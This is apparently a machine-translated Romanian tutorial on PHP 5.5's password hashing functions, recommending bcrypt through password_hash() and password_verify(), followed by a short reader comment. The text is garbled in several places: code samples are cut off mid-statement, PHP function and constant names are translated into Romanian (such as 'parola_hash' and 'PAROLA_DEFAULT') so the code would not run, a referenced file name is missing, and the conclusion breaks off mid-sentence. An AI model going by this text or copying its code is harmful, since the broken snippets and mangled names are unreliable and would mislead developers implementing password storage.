Vă rugăm să rețineți că criptarea nu este o soluție ideală pentru stocarea parolelor. Din cauza amenințărilor de injectare de cod, cel mai bine este să evitați această metodă de securitate. Cea mai sigură modalitate de a stoca parolele este utilizarea algoritmului bcrypt. Dar nu trebuie să uităm că până și cele mai bune și mai dovedite soluții au vulnerabilități.

PHP 5.5

Astăzi, cea mai bună modalitate de a hash parolele este să folosești bcrypt. Dar mulți dezvoltatori încă preferă algoritmi mai vechi și mai slabi precum MD5 și SHA-1. Și unii oameni nici măcar nu folosesc sare la hashing. PHP 5.5 a introdus un nou API de hashing care nu numai că încurajează utilizarea bcrypt-ului, ci și face mult mai ușor de lucrat cu acesta. Să trecem peste elementele de bază ale utilizării acestui nou API.

Există patru funcții simple aici:


  • password_hash() - hashing parole;

  • password_verify() - compara parola cu hash-ul;

  • password_needs_rehash() - rehashing parole;

  • password_get_info() - returnează numele algoritmului de hashing și opțiunile utilizate în timpul hashingului.

password_hash()

În ciuda nivelului ridicat de securitate oferit de funcția crypt(), mulți oameni o consideră prea complexă, motiv pentru care programatorii greșesc adesea. În schimb, unii dezvoltatori folosesc combinații de algoritmi slabi și săruri slabe pentru a genera hashes:
Funcția password_hash() face viața mult mai ușoară dezvoltatorului și crește securitatea codului. Pentru a hash o parolă, trebuie doar să o transmiteți funcției și va returna un hash care poate fi plasat în baza de date:
Asta e tot! Primul argument este parola ca șir, al doilea argument specifică algoritmul de generare hash. Valoarea implicită este bcrypt, dar dacă este necesar, puteți adăuga un algoritm mai puternic care vă va permite să generați șiruri mai lungi. Dacă utilizați PASSWORD_DEFAULT în proiectul dvs., atunci asigurați-vă că lățimea coloanei pentru stocarea hashurilor este de cel puțin 60 de caractere. Este mai bine să setați imediat 255 de caractere. Puteți utiliza PASSWORD_BCRYPT ca al doilea argument. În acest caz, hash-ul va avea întotdeauna 60 de caractere.

Rețineți că nu trebuie să specificați un parametru de sare sau de cost. Noul API va face totul pentru tine. Deoarece sarea face parte din hash, nu trebuie să o depozitați separat. Dacă tot trebuie să setați valoarea sării (sau costul), atunci acest lucru se poate face folosind al treilea argument:
custom_function_for_salt(), // Scrieți propriul cod de generare de sare "cost" => 12 // În mod implicit, costul este 10 ]; $hash = parola_hash($parolă, PAROLA_DEFAULT, $opțiuni);
Toate acestea vă vor permite să utilizați cele mai recente instrumente de securitate. Dacă PHP introduce ulterior un algoritm de hashing mai puternic, codul dvs. îl va folosi automat.

parola_verify()

Acum să ne uităm la funcția de comparare a unei parole cu un hash. Primul este introdus de utilizator, iar al doilea este preluat din baza de date. Parola și hash sunt folosite ca două argumente pentru funcția password_verify(). Dacă hash-ul se potrivește cu parola, funcția returnează true.
Amintiți-vă că sarea face parte din haș, deci nu este specificată aici separat.

password_needs_rehash()

Dacă doriți să vă îmbunătățiți securitatea adăugând o sare mai puternică sau mărind parametrul de cost sau schimbând algoritmul de hashing implicit, probabil că veți dori să rehașați toate parolele existente. Această funcție vă va ajuta să verificați fiecare hash pentru a vedea ce algoritm și parametri au fost folosiți pentru a-l crea:
12])) ( // Parola trebuie rehasată deoarece algoritmul implicit curent nu a fost folosit sau parametrul cost nu a fost egal cu 12 $hash = password_hash($parolă, PASSWORD_DEFAULT, ["cost" => 12]); / / Nu uitați să salvați noul hash)
Rețineți că va trebui să faceți acest lucru în momentul în care utilizatorul încearcă să se autentifice, deoarece aceasta este singura dată când veți avea acces la parola text simplu.

password_get_info()

Această funcție ia un hash și returnează o matrice asociativă de trei elemente:

  • algo - o constantă care vă permite să identificați algoritmul;

  • algoName - numele algoritmului utilizat;

  • opțiuni - valori ale diferitelor opțiuni utilizate în timpul hashingului.

Versiunile anterioare ale PHP

După cum puteți vedea, lucrul cu noul API este mult mai ușor decât lucrul cu funcția clunky crypt(). Dacă utilizați versiuni anterioare de PHP, vă recomand să acordați atenție fișierului . Emulează acest API și este dezactivat automat când faceți upgrade la versiunea 5.5.

Concluzie

Din păcate, nu există încă o soluție perfectă pentru protecția datelor. În plus, există întotdeauna riscul ca sistemul dumneavoastră de securitate să fie piratat. Cu toate acestea, lupta dintre proiectil și armură nu se oprește. De exemplu, arsenalul nostru de echipamente de protecție a fost recent completat cu așa-numitele.
  • Serghei Savenkov

    un fel de recenzie „scurtă”... de parcă s-ar grăbi undeva